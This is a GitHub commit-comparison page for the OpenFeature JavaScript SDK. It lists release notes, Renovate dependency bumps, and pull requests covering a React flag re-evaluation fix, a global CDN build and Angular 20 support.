Compare commits

...

630 Commits
v1.1.0 ... main

Author SHA1 Message Date
OpenFeature Bot ee236396cd
chore(main): release react-sdk 1.0.1 (#1235)
🤖 I have created a release *beep* *boop*
---


##
[1.0.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v1.0.0...react-sdk-v1.0.1)
(2025-08-18)


### 🐛 Bug Fixes

* **react:** re-evaluate flags on re-render to detect silent provider …
([#1226](https://github.com/open-feature/js-sdk/issues/1226))
([3105595](3105595926))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-18 16:26:25 +00:00
Michael Beemer 9aab3d053b
chore: remove hardcoded react v1
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-08-18 11:56:09 -04:00
Michael Beemer 3105595926
fix(react): re-evaluate flags on re-render to detect silent provider … (#1226)
## This PR

- Added `useEffect` that runs on re-render to re-evaluate the flag value
- Only updates state if the resolved value actually changed (using
`isEqual` comparison)
- Used lazy initialization for `useState` to avoid redundant initial
evaluation
  - Added `useCallback` memoization for event handlers
  - Fixed `AbortController` scope issue

### Notes

This resolves a subtle issue where the provider state may update without
emitting a change event, leading to confusing results. The `useFlag`
hook sets the initial evaluated value in a `useState`. Since this wasn't
in a closure, this evaluation happened any time the component using the
hook rerendered but the result was essentially ignored. Adding a logging
hook shows that the current results but since this evaluation was made
in an existing `useState`, the result had no effect.

This resolves a subtle issue where the provider state may update without
emitting a change event, leading to stale flag values being displayed.

The `useFlag` hook was evaluating the flag on every re-render (as part
of the `useState` initialization), but because `useState` only uses its
initial value on the first render, these subsequent evaluations were
being discarded. This meant that even though the hook was fetching the
correct updated value from the provider on each re-render, it was
throwing that value away and continuing to display the stale cached
value.

Adding a logging hook would show the correct evaluation happening
(proving the provider had the updated value), but the UI would remain
stuck with the old value because the `useState` was ignoring the
re-evaluated result.

The fix ensures that these re-evaluations on re-render actually update
the component's state when the resolved value changes.

The key insight is that the evaluation WAS happening on every re-render
(due to how useState works), but React was discarding the result. Your
fix makes those evaluations actually matter by checking if the value
changed and updating state accordingly.

Original thread:
https://cloud-native.slack.com/archives/C06E4DE6S07/p1754508917397519

### How to test

I created a test that reproduced the issue, and it failed. I then
implemented the changes and verified that the test passed.

---------

Signed-off-by: Developer <developer@example.com>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Developer <developer@example.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-18 15:08:51 +00:00
renovate[bot] 1dbbd5161b
chore(deps): update dependency rxjs to v7.8.2 (#1230)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [rxjs](https://rxjs.dev)
([source](https://redirect.github.com/reactivex/rxjs)) | [`7.8.1` ->
`7.8.2`](https://renovatebot.com/diffs/npm/rxjs/7.8.1/7.8.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rxjs/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rxjs/7.8.1/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>reactivex/rxjs (rxjs)</summary>

###
[`v7.8.2`](https://redirect.github.com/reactivex/rxjs/compare/7.8.1...7.8.2)

[Compare
Source](https://redirect.github.com/reactivex/rxjs/compare/7.8.1...7.8.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled because a matching PR was automerged
previously.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS43MS4xIiwidXBkYXRlZEluVmVyIjoiNDEuNzEuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-15 09:06:37 -04:00
renovate[bot] 2287083de7
chore(deps): update dependency shx to ^0.4.0 (#1213)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [shx](https://redirect.github.com/shelljs/shx) | [`^0.3.4` ->
`^0.4.0`](https://renovatebot.com/diffs/npm/shx/0.3.4/0.4.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/shx/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shx/0.3.4/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>shelljs/shx (shx)</summary>

###
[`v0.4.0`](https://redirect.github.com/shelljs/shx/releases/tag/v0.4.0)

[Compare
Source](https://redirect.github.com/shelljs/shx/compare/v0.3.4...v0.4.0)

####  Highlighted changes

- This is based on ShellJS v0.9! This means we bumped the minimum node
version to >= v18.
- Small bash compatibility change to `shx sed`. Now if you invoke `shx
sed -i`, this will not print any output to stdout (this is for
consistency with unix `sed`). Using `shx sed` without the `-i` flag will
still print to stdout as before.

#### What's Changed

- chore: remove codecov devDependency by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/198](https://redirect.github.com/shelljs/shx/pull/198)
- chore(ci): run tests up to node v16 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/197](https://redirect.github.com/shelljs/shx/pull/197)
- chore: rename master -> main by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/204](https://redirect.github.com/shelljs/shx/pull/204)
- chore: update deps by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/205](https://redirect.github.com/shelljs/shx/pull/205)
- chore: update CI to include v18 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/206](https://redirect.github.com/shelljs/shx/pull/206)
- fix(lint): fixes import order lint warnings by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/215](https://redirect.github.com/shelljs/shx/pull/215)
- doc: highlight globs and emphasize double quotes by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/214](https://redirect.github.com/shelljs/shx/pull/214)
- chore: update CI to test against node v20 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/212](https://redirect.github.com/shelljs/shx/pull/212)
- docs: change GitHub Actions README badge by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/216](https://redirect.github.com/shelljs/shx/pull/216)
- chore: keep node < 16 around longer by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/219](https://redirect.github.com/shelljs/shx/pull/219)
- Bump GitHub workflow action to latest version by
[@&#8203;deining](https://redirect.github.com/deining) in
[https://github.com/shelljs/shx/pull/220](https://redirect.github.com/shelljs/shx/pull/220)
- Update minimist for CVE-2021-44906 by
[@&#8203;tomhaines432](https://redirect.github.com/tomhaines432) in
[https://github.com/shelljs/shx/pull/218](https://redirect.github.com/shelljs/shx/pull/218)
- chore: add codecov token by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/222](https://redirect.github.com/shelljs/shx/pull/222)
- chore: remove unsupported node configs from CI by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/221](https://redirect.github.com/shelljs/shx/pull/221)
- chore: switch to codecov v4 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/223](https://redirect.github.com/shelljs/shx/pull/223)
- chore(dependencies): update js-yaml by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/224](https://redirect.github.com/shelljs/shx/pull/224)
- doc: Fix typo in README by
[@&#8203;mpaw](https://redirect.github.com/mpaw) in
[https://github.com/shelljs/shx/pull/227](https://redirect.github.com/shelljs/shx/pull/227)
- chore: update shelljs and drop old node support by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/228](https://redirect.github.com/shelljs/shx/pull/228)
- chore: drop non-LTS node versions by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/229](https://redirect.github.com/shelljs/shx/pull/229)
- chore: drop some dependencies and simplify by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/230](https://redirect.github.com/shelljs/shx/pull/230)
- chore: update dependencies by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/231](https://redirect.github.com/shelljs/shx/pull/231)
- fix: add back ShellJS version in --version by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/232](https://redirect.github.com/shelljs/shx/pull/232)
- Adding a global --negate flag by
[@&#8203;SoTrx](https://redirect.github.com/SoTrx) in
[https://github.com/shelljs/shx/pull/189](https://redirect.github.com/shelljs/shx/pull/189)
- refactor: code cleanup for the --negate flag by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/233](https://redirect.github.com/shelljs/shx/pull/233)

#### New Contributors

- [@&#8203;deining](https://redirect.github.com/deining) made their
first contribution in
[https://github.com/shelljs/shx/pull/220](https://redirect.github.com/shelljs/shx/pull/220)
- [@&#8203;tomhaines432](https://redirect.github.com/tomhaines432) made
their first contribution in
[https://github.com/shelljs/shx/pull/218](https://redirect.github.com/shelljs/shx/pull/218)
- [@&#8203;mpaw](https://redirect.github.com/mpaw) made their first
contribution in
[https://github.com/shelljs/shx/pull/227](https://redirect.github.com/shelljs/shx/pull/227)
- [@&#8203;SoTrx](https://redirect.github.com/SoTrx) made their first
contribution in
[https://github.com/shelljs/shx/pull/189](https://redirect.github.com/shelljs/shx/pull/189)

**Full Changelog**:
https://github.com/shelljs/shx/compare/v0.3.4...v0.4.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDEuNzEuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-15 09:06:26 -04:00
OpenFeature Bot 04139affcb
chore(main): release server-sdk 1.19.0 (#1181)
🤖 I have created a release *beep* *boop*
---


##
[1.19.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.18.0...server-sdk-v1.19.0)
(2025-08-14)


###  New Features

* add evaluation-scoped hook data
([#1216](https://github.com/open-feature/js-sdk/issues/1216))
([07af3a9](07af3a9eda))


### 🐛 Bug Fixes

* update core dep
([#1228](https://github.com/open-feature/js-sdk/issues/1228))
([845d24c](845d24c5fe))


### 🧹 Chore

* update node to v20+
([#1203](https://github.com/open-feature/js-sdk/issues/1203))
([1f33453](1f33453c23))


### 📚 Documentation

* Clarify the behavior of setProviderAndWait
([#1180](https://github.com/open-feature/js-sdk/issues/1180))
([4fe8d87](4fe8d87a2e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 15:57:34 -04:00
OpenFeature Bot 1e330a2e13
chore(main): release web-sdk 1.6.1 (#1229)
🤖 I have created a release *beep* *boop*
---


##
[1.6.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.6.0...web-sdk-v1.6.1)
(2025-08-14)


### 🐛 Bug Fixes

* update core dep
([#1228](https://github.com/open-feature/js-sdk/issues/1228))
([845d24c](845d24c5fe))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-14 13:37:46 -04:00
Todd Baert 7df8a8eedc
chore: engine version in root
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:28:59 -04:00
Todd Baert 3b3515b601 chore: fix lockfile again
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:18:01 -04:00
Todd Baert 63a1feb213 chore: fix lockfile
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:10:38 -04:00
Todd Baert 845d24c5fe
fix: update core dep (#1228)
As astutely pointed out by @JasperJuergensen in
https://github.com/open-feature/js-sdk/issues/1227, we added API surface
in core which we use in the latest web, but did't accordingly update the
min version of core in web.

(I also updated the min core version in server, just because).

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:03:20 -04:00
OpenFeature Bot dc1970e717
chore(main): release web-sdk 1.6.0 (#1182)
🤖 I have created a release *beep* *boop*
---


##
[1.6.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.5.0...web-sdk-v1.6.0)
(2025-08-12)


###  New Features

* add evaluation-scoped hook data
([#1216](https://github.com/open-feature/js-sdk/issues/1216))
([07af3a9](07af3a9eda))
* **web-global-build:** publish web packages to unpkg and jsdelivr
([#1225](https://github.com/open-feature/js-sdk/issues/1225))
([40a512e](40a512e212))


### 📚 Documentation

* Clarify the behavior of setProviderAndWait
([#1180](https://github.com/open-feature/js-sdk/issues/1180))
([4fe8d87](4fe8d87a2e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-12 23:27:08 +02:00
OpenFeature Bot e6e5ff3edf
chore(main): release core 1.9.0 (#1219)
🤖 I have created a release *beep* *boop*
---


##
[1.9.0](https://github.com/open-feature/js-sdk/compare/core-v1.8.1...core-v1.9.0)
(2025-08-10)


###  New Features

* add evaluation-scoped hook data
([#1216](https://github.com/open-feature/js-sdk/issues/1216))
([07af3a9](07af3a9eda))
* support Angular 20
([#1220](https://github.com/open-feature/js-sdk/issues/1220))
([aa232a9](aa232a9d6a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-12 21:08:51 +00:00
Patryk Zdunowski 40a512e212
feat(web-global-build): impl (#1225)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR

- Implements a global (IIFE) build for the web.
- Adds support for global distribution via CDN by including `unpkg` and
`jsdelivr` fields in `package.json`.

### Notes

- The global build outputs to `dist/global/index.js`.
- The global bundle is exposed under the global name `OpenFeature`.

### Follow-up Tasks

- Consider adding automated tests or validation for the global bundle.
- If this bundle should be included in a release checklist or CI, link
the appropriate issue here.

### How to test

1. Run `npm run build` and ensure `dist/global/index.js` is generated.
2. Serve the file locally or upload to a CDN and verify that
`window.OpenFeature` is available in the browser console.

### Motivation
Trying to load OpenFeature as a first dependency before browser will
resolve any modules.

---------

Signed-off-by: Patryk Zdunowski <zdunekhere@gmail.com>
2025-08-10 14:24:01 +00:00
OpenFeature Bot 28850b7f6d
chore(main): release angular-sdk 0.0.16 (#1221) 2025-07-25 21:18:43 +02:00
Lukas Reining aa232a9d6a
feat: support Angular 20 (#1220)
Adds Angular 20 support.

This also remove the custom jest setup as it was not compatible with
Angular 20 and uses builtin support for vitest in Angular 20.
For this, Angular has been removed from the jest setup and the pipeline
runs it separately now.

Fixes #1206

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-07-25 18:48:38 +02:00
Michael Beemer 07af3a9eda
feat: add evaluation-scoped hook data (#1216)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-07-18 15:08:01 -04:00
OpenFeature Bot d8bd93b6d5
chore(main): release core 1.8.1 (#1208)
🤖 I have created a release *beep* *boop*
---


##
[1.8.1](https://github.com/open-feature/js-sdk/compare/core-v1.8.0...core-v1.8.1)
(2025-06-04)


### 🔄 Refactoring

* **telemetry:** update telemetry attributes and remove unused
evaluation data
([#1189](https://github.com/open-feature/js-sdk/issues/1189))
([3e6bcae](3e6bcaef0b))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-06-26 20:15:03 +00:00
renovate[bot] 1b3ac12a35
chore(deps): update dependency eslint-plugin-jsdoc to v50.7.1 (#1211)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.7.0` ->
`50.7.1`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.7.0/50.7.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.7.0/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.7.0/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.7.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.7.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.7.0...v50.7.1)

##### Bug Fixes

- revert are-docs-informative upgrade; fixes
[#&#8203;1393](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1393)
([#&#8203;1394](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1394))
([99cb131](99cb131ee4))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 18:54:59 +00:00
Todd Baert d3bca54979
chore: update workflows to node 20 (#1209)
I missed a few workflows when I updated the node version. We should
update these for consistency.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-06-04 14:54:45 -04:00
renovate[bot] baf0dfbd5b
chore(deps): update dependency rollup-plugin-dts to v6.2.1 (#1196)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[rollup-plugin-dts](https://redirect.github.com/Swatinem/rollup-plugin-dts)
| [`6.1.1` ->
`6.2.1`](https://renovatebot.com/diffs/npm/rollup-plugin-dts/6.1.1/6.2.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup-plugin-dts/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup-plugin-dts/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup-plugin-dts/6.1.1/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup-plugin-dts/6.1.1/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>Swatinem/rollup-plugin-dts (rollup-plugin-dts)</summary>

###
[`v6.2.1`](https://redirect.github.com/Swatinem/rollup-plugin-dts/compare/v6.2.0...v6.2.1)

[Compare
Source](https://redirect.github.com/Swatinem/rollup-plugin-dts/compare/v6.2.0...v6.2.1)

###
[`v6.2.0`](https://redirect.github.com/Swatinem/rollup-plugin-dts/blob/HEAD/CHANGELOG.md#620)

[Compare
Source](https://redirect.github.com/Swatinem/rollup-plugin-dts/compare/v6.1.1...v6.2.0)

**Features**:

-   Support importing json modules
-   Return Source Map Differences to Rollup

**Fixes**:

- Unable to find the program when entry points exist intersection
dependency
-   Create program for `imports` input file
-   Force emit types even when there's errors
-   Preserve type members of namespace in re-exported module
-   Imports and exports follows type-only
-   Import "local types" from "global modules"
-   Correctly restore type-only import/export names

**Thank you**:

Features, fixes and improvements in this release have been contributed
by:

-   [@&#8203;NWYLZW](https://redirect.github.com/NWYLZW)
-   [@&#8203;castarco](https://redirect.github.com/castarco)
-   [@&#8203;hyrious](https://redirect.github.com/hyrious)
-   [@&#8203;andersk](https://redirect.github.com/andersk)
-   [@&#8203;kricsleo](https://redirect.github.com/kricsleo)
-   [@&#8203;alan-agius4](https://redirect.github.com/alan-agius4)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 16:34:40 +00:00
renovate[bot] 2fd944d317
chore(deps): update dependency eslint-plugin-jsdoc to v50.7.0 (#1199)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.6.14` ->
`50.7.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.6.14/50.7.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.6.14/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.6.14/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.7.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.7.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.17...v50.7.0)

##### Features

- **`getJsdocProcessorPlugin`:** add `allowedLanguagesToProcess` option
([#&#8203;1392](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1392))
([0adbf43](0adbf43b6b))

###
[`v50.6.17`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.17)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.16...v50.6.17)

##### Bug Fixes

- **`require-param`:** update jsdoccomment to support exported
TSFunctionType type; fixes
[#&#8203;1386](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1386)
([#&#8203;1389](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1389))
([e26a11a](e26a11a399))

###
[`v50.6.16`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.16)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.15...v50.6.16)

##### Bug Fixes

- **`valid-types`:** fix parsing of expressions like
`[@returns](https://redirect.github.com/returns)
{[@&#8203;link](https://redirect.github.com/link) SomeType}`; fixes
[#&#8203;1381](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1381)
([#&#8203;1382](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1382))
([2bd7242](2bd7242901))

###
[`v50.6.15`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.15)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.14...v50.6.15)

##### Bug Fixes

- **`no-undefined-types`:** avoid eslint 8 error; fixes
[#&#8203;1387](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1387)
([#&#8203;1388](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1388))
([1bef636](1bef63677e))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xNi4wIiwidXBkYXRlZEluVmVyIjoiNDAuMzMuNiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 16:34:07 +00:00
renovate[bot] 3598b5e822
chore(deps): update dependency rollup to v4.41.1 (#1205)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://redirect.github.com/rollup/rollup)) | [`4.40.2` ->
`4.41.1`](https://renovatebot.com/diffs/npm/rollup/4.40.2/4.41.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/4.40.2/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/4.40.2/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v4.41.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4411)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.41.0...v4.41.1)

*2025-05-24*

##### Bug Fixes

- If a plugin calls `this.resolve` with `skipSelf: true`, subsequent
calls when handling this by the same plugin with same parameters will
return `null` to avoid infinite recursions
([#&#8203;5945](https://redirect.github.com/rollup/rollup/issues/5945))

##### Pull Requests

- [#&#8203;5945](https://redirect.github.com/rollup/rollup/pull/5945):
Avoid recursively calling a plugin's resolveId hook with same id and
importer ([@&#8203;younggglcy](https://redirect.github.com/younggglcy),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5963](https://redirect.github.com/rollup/rollup/pull/5963):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5964](https://redirect.github.com/rollup/rollup/pull/5964):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
